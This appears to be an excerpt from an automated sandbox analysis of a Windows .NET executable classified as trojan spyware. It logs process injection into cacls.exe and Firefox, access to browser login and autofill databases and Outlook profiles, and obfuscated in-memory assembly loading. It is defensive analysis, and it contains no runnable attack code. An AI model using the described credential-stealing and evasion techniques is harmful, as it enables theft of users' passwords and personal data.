Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_038018DA	4_2_038018DA
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03753800	4_2_03753800
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037C98B2	4_2_037C98B2
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380F872	4_2_0380F872
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037CFF40	4_2_037CFF40
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03801FC6	4_2_03801FC6
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380FF63	4_2_0380FF63
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03809ED2	4_2_03809ED2
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03751EB2	4_2_03751EB2
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037EFDF4	4_2_037EFDF4
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03759DD0	4_2_03759DD0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0380FD27	4_2_0380FD27
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03807D4C	4_2_03807D4C
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_03753C60	4_2_03753C60
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037D7CE8	4_2_037D7CE8
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_0376FCE0	4_2_0376FCE0
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037E9C98	4_2_037E9C98
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CEDDD	4_2_035CEDDD
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CE223	4_2_035CE223
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CE105	4_2_035CE105
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CD688	4_2_035CD688
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CE5BC	4_2_035CE5BC
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CC948	4_2_035CC948

Source: C:\Windows\SysWOW64\cacls.exe	Code function: String function: 03785050 appears 36 times
Source: C:\Windows\SysWOW64\cacls.exe	Code function: String function: 037BE692 appears 86 times
Source: C:\Windows\SysWOW64\cacls.exe	Code function: String function: 0373B910 appears 272 times
Source: C:\Windows\SysWOW64\cacls.exe	Code function: String function: 037CEF10 appears 105 times
Source: C:\Windows\SysWOW64\cacls.exe	Code function: String function: 03797BE4 appears 96 times
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: String function: 014E5050 appears 36 times
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: String function: 0152EF10 appears 105 times
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: String function: 014F7BE4 appears 95 times
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: String function: 0149B910 appears 268 times
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: String function: 0151E692 appears 86 times

Source: Pp7OXMFwqhXKx5Y.exe, 00000000.00000002.178882763555.0000000005D50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameuser.dll" vs Pp7OXMFwqhXKx5Y.exe
Source: Pp7OXMFwqhXKx5Y.exe, 00000000.00000002.178879281295.0000000004319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Pp7OXMFwqhXKx5Y.exe
Source: Pp7OXMFwqhXKx5Y.exe, 00000000.00000002.178878300417.0000000003350000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameuser.dll" vs Pp7OXMFwqhXKx5Y.exe
Source: Pp7OXMFwqhXKx5Y.exe, 00000000.00000002.178883781428.00000000078B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Pp7OXMFwqhXKx5Y.exe
Source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179230808356.0000000001008000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCACLS.EXEj% vs Pp7OXMFwqhXKx5Y.exe
Source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179231505422.000000000159D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Pp7OXMFwqhXKx5Y.exe
Source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179230808356.000000000101E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCACLS.EXEj% vs Pp7OXMFwqhXKx5Y.exe
Source: Pp7OXMFwqhXKx5Y.exe	Binary or memory string: OriginalFilenametHrl.exe0 vs Pp7OXMFwqhXKx5Y.exe

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, p1UHuFOvEAowV6fk4b.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, p1UHuFOvEAowV6fk4b.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, PYwgDUyCfG3xhOjec2.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, PYwgDUyCfG3xhOjec2.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, PYwgDUyCfG3xhOjec2.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, PYwgDUyCfG3xhOjec2.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, PYwgDUyCfG3xhOjec2.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, PYwgDUyCfG3xhOjec2.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, p1UHuFOvEAowV6fk4b.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, p1UHuFOvEAowV6fk4b.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@17/15

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Pp7OXMFwqhXKx5Y.exe.log

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Mutant created: NULL

Source: C:\Windows\SysWOW64\cacls.exe

File created: C:\Users\user\AppData\Local\Temp\G8uE-69OL

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Pp7OXMFwqhXKx5Y.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: cacls.exe, 00000004.00000002.182792565138.00000000081E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: cacls.exe, 00000004.00000003.179407798051.000000000318B000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182789173794.00000000031AA000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179407998733.00000000031AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: cacls.exe, 00000004.00000003.179416057961.0000000008238000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182792565138.0000000008244000.00000004.00000020.00020000.00000000.sdmp, G8uE-69OL.4.dr	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: Pp7OXMFwqhXKx5Y.exe

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe "C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe"
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process created: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe "C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe"
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cacls.exe "C:\Windows\SysWOW64\cacls.exe"
Source: C:\Windows\SysWOW64\cacls.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process created: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe "C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe"	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cacls.exe "C:\Windows\SysWOW64\cacls.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\cacls.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: cacls.pdbGCTL source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179230808356.0000000001008000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cacls.pdb source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179230808356.0000000001008000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179231505422.0000000001470000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182790505169.0000000003710000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182790505169.000000000383D000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179230035520.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179233863285.0000000003566000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Pp7OXMFwqhXKx5Y.exe, Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179231505422.0000000001470000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, cacls.exe, 00000004.00000002.182790505169.0000000003710000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182790505169.000000000383D000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179230035520.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179233863285.0000000003566000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, PYwgDUyCfG3xhOjec2.cs	.Net Code: L0mZ2pPbFO System.Reflection.Assembly.Load(byte[])
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, PYwgDUyCfG3xhOjec2.cs	.Net Code: L0mZ2pPbFO System.Reflection.Assembly.Load(byte[])
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.5d50000.3.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_0193EF23 push esp; iretd	0_2_0193EF29
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 0_2_0193EF20 pushad ; iretd	0_2_0193EF21
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00414970 push ds; retf	2_2_00414996
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00419109 push cs; ret	2_2_0041910B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040C1FF pushad ; iretd	2_2_0040C202
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0041F19B pushfd ; ret	2_2_0041F1B3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_004149BC push ds; iretd	2_2_004149CE
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00402215 push es; retf	2_2_00402217
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040AB40 push es; ret	2_2_0040AB41
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0041844F push esp; retf	2_2_00418456
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00403460 push eax; ret	2_2_00403462
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0041A5EB pushfd ; iretd	2_2_0041A62B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0041A5F3 pushfd ; iretd	2_2_0041A62B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00417E58 push ecx; retf	2_2_00417E59
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_00418F48 push cs; iretd	2_2_00418F4D
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0041577D push eax; iretd	2_2_004157A8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0040671F pushad ; iretd	2_2_00406720
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A08CD push ecx; mov dword ptr [esp], ecx	2_2_014A08D6
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03515FC5 push ebx; iretd	3_2_03515FC6
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03516E33 push edi; ret	3_2_03516E34
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_035122E6 push ss; ret	3_2_035122EA
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_0350C036 push ecx; retf	3_2_0350C038
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC87C3 push edi; ret	3_2_03DC87C4
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DBD9C6 push ecx; retf	3_2_03DBD9C8
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC7955 push ebx; iretd	3_2_03DC7956
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 3_2_03DC3C76 push ss; ret	3_2_03DC3C7A
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037121AD pushad ; retf 0004h	4_2_0371223F
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037408CD push ecx; mov dword ptr [esp], ecx	4_2_037408D6
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_037197A1 push es; iretd	4_2_037197A8
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035CB2E6 push ss; ret	4_2_035CB2EA
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4_2_035C5036 push ecx; retf	4_2_035C5038

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: section name: .text entropy: 7.815154891038661

Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, CaGHojxoRBOvJGpPTZ.cs	High entropy of concatenated method names: 'tYjg5xZfrq', 'KSpg9Ntl9n', 'UICgOQVRFo', 'v4bgxTNLJ6', 'n20gTLkxtx', 'd0sgiQmg71', 'xxHgdg6WlF', 'c1egEddTkg', 'v4dg04tXgB', 'i6ygus1OaI'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, PYwgDUyCfG3xhOjec2.cs	High entropy of concatenated method names: 'AX8DY92AAd', 'EIrDsBKpyI', 'f2aDl53gAg', 'KOVDg8TgPO', 'hHKDwDC8qD', 'bh4DvvK56D', 'R54DKbNvDF', 'RHcDyIFDVW', 'IH0DQTcqKs', 'XrUDtPVZlg'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, eClGVZ7L4wNYqRUcnf.cs	High entropy of concatenated method names: 'knfKnDwGlf', 'AMVKGOvX6q', 'F2DK2IMvu1', 'PLEK5NCCI2', 'zJ3K6ERIiU', 'r3GK9Ro3L7', 'VcoKC5nwLk', 'WVbKOEKdqF', 'wSmKxOqDV9', 'zB8K3Qs22y'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, Uh1IXUppBwx1OBD0l94.cs	High entropy of concatenated method names: 'g6TuJi0KWH', 'eujuzLdHyk', 'kp8XmcuL6h', 'bGUXprSnic', 'iRoX4yIVrb', 'RBWXDOja8V', 'scxXZUq9Z8', 'p3cXYcNZOE', 'eajXsydMwF', 'B0TXlXkFQm'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, I7RVpHz4FqwflZN0id.cs	High entropy of concatenated method names: 'qsju9f7IGP', 'ImMuOgMqk5', 'viyuxqned5', 'oWHuASD25r', 'pPAuLBRPjd', 'rQSuNZwvdI', 'cccurf5uyT', 'fiLuRJyGKa', 'wXnunXASvC', 'cJ9uGLIqkr'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, MMSIjoLGZ6B7Yqaa3l.cs	High entropy of concatenated method names: 'eqK01v1lltW7I1KJsbB', 'SL15IB17TTKdUWapAhf', 'A2tvE6l4SW', 'GM2v0iCeZD', 'GYjvucR3xn', 'EisOrg1JePn9dehqTF7', 'n0fbcI1Lk339Qb3VwpL'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, CK39ihhagYlouC5fDc.cs	High entropy of concatenated method names: 'R9h0AEVq9b', 'yCC0L076pU', 'E9O0j3NHq3', 'OnN0N8N4S1', 'ATi0rltiiu', 'YAS0a68TUU', 'SUw0BKqfqp', 'kbZ01PyK1O', 'UER0733u82', 'NRq0f23lCN'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, WMNDnseZvMvATctFLM.cs	High entropy of concatenated method names: 'KLfTfQMnBL', 'BBiTPPPSlU', 'dTATeSmmjq', 'NtoTqXmppI', 't9nTLOIM2Z', 'QXTTjpMcfV', 'Tn4TNpq2eR', 'wKLTr3fnG4', 'FE2TauCeD0', 'p8MTBDcYG7'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, vU4WQCHpZAo8PF99B8.cs	High entropy of concatenated method names: 'XTLdVajjqu', 'iRIdJhNcAl', 't3PEmiFn72', 'A58EphxV9x', 'Ln5dohj8jX', 'FbjdPCAa8r', 'LiudUrnpAj', 'P6adev3Uha', 'LnbdqMNfBC', 'GQxdMF3cGa'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, YqHJWJ3lonHrloUDs2.cs	High entropy of concatenated method names: 'Oy5w6F7jp8', 'bCOwCmBy87', 'sbigjf6NRd', 'jWFgNC0306', 'eCBgrLBxy8', 'a2sgaRQT3o', 'P1BgBvJjMB', 'zYdg19OhOx', 'ssng79eeD1', 'Whfgf9MvNe'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, GqLsw9gDNXXdmvcnIN.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'LGo4hCBtRN', 'weL4JNZWAq', 'GO54zmkkGe', 'EBWDmJ53Dc', 'QC8Dp7Gc1l', 'vUiD48GXL4', 'V9qDDXYiBf', 'pXQUT1P0dJp8ReLLhvq'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, whOcAAAh4ILtw3qpVG.cs	High entropy of concatenated method names: 'rhjvYE0qD2', 'gY1vlcksiw', 'wbXvwoaiEP', 'GGgvK5Oiis', 'jJxvybinL0', 'QNUwccX5cO', 'zI5wHcBpbs', 'wlhwSZgUxB', 'I2hwV1vVov', 'YKLwhJ0boq'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, QGTy144A47QOmD2Xe0.cs	High entropy of concatenated method names: 'NCk2ZjyD7', 'pr15R7xMm', 'MlN9dC7J7', 'b9wCDPFMm', 'nHDxYweMd', 'vIL3GQ6cy', 'BqAJ7Th95xerFyVi38', 'Bs5HJpsGtaZ0hdfgLP', 'lO3EWbRpr', 'zIduSKCWV'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, p1UHuFOvEAowV6fk4b.cs	High entropy of concatenated method names: 'Q8elekcO0G', 'kCAlqheTfk', 'odUlM5AVnF', 'n9HlkE8Oql', 'ptOlccIdXI', 'WgclHZQG6x', 'lDVlSYbrPU', 'sonlVoeCCx', 'wNClh8Jm6Q', 'bNSlJlN7ov'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, z8K2SvSpx5gaJUg5bJ.cs	High entropy of concatenated method names: 'qJN0T5oBtr', 'N5E0ds8So8', 'pqN00wTDLD', 'xOB0XDjKlc', 'yhh08ARPch', 'z7U0ReqUJW', 'Dispose', 'PNREsjMC2f', 'ctyEl4YfnC', 'KogEggIUH3'
